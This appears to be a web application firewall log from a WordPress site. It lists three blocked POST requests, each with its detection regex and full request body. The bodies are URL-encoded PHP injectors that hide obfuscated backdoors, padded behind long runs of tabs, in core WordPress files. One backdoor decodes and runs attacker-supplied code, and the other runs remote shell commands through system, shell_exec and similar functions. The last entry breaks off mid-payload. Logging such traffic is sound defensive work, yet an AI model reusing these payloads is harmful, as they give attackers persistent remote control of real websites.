["2026-05-12 22:57:08","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> eR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:4355\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\neR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:57:10","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4378\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:57:33","101.100.3.213","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvISZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:5178\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\nTS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/post.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524task_processor%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74%255Cx72%255Cx65%255Cx61%255Cx6D_%255Cx67%255Cx65t%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522p%255Cx63%255Cx6Cose%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73ys%255Cx74%255Cx65m%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73h%255Cx65ll_ex%255Cx65c%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522%255Cx70%255Cx61%255Cx73s%255Cx74hru%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522ex%255Cx65%255Cx63%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522p%255Cx6Fp%255Cx65n%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524data%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524q%253D0%253B%2520while%2528%2524q%253Cstrlen%2528%2524data%2529%2529%257B%2524dat.%253Dchr%2528ord%2528%2524data%255B%2524q%255D%2529%255E%2524sym%2529%253B%2524q%252B%252B%253B%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524desc%2520%253D%2520%2524task_processor%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524desc%2520%253D%2520service_registry%2528%2524desc%252C%252083%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524desc%252C%2520%2524item_data%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524item_data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524desc%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524sym_dat%2520%253D%2520%2524buffer_cache5%2528%2524desc%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_dat%2529%2520%257B%2520%2524factor_bind%2520%253D%2520%2524buffer_cache6%2528%2524sym_dat%2529%253B%2520%2524buffer_cache7%2528%2524sym_dat%2529%253B%2520print%2520%2524factor_bind%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%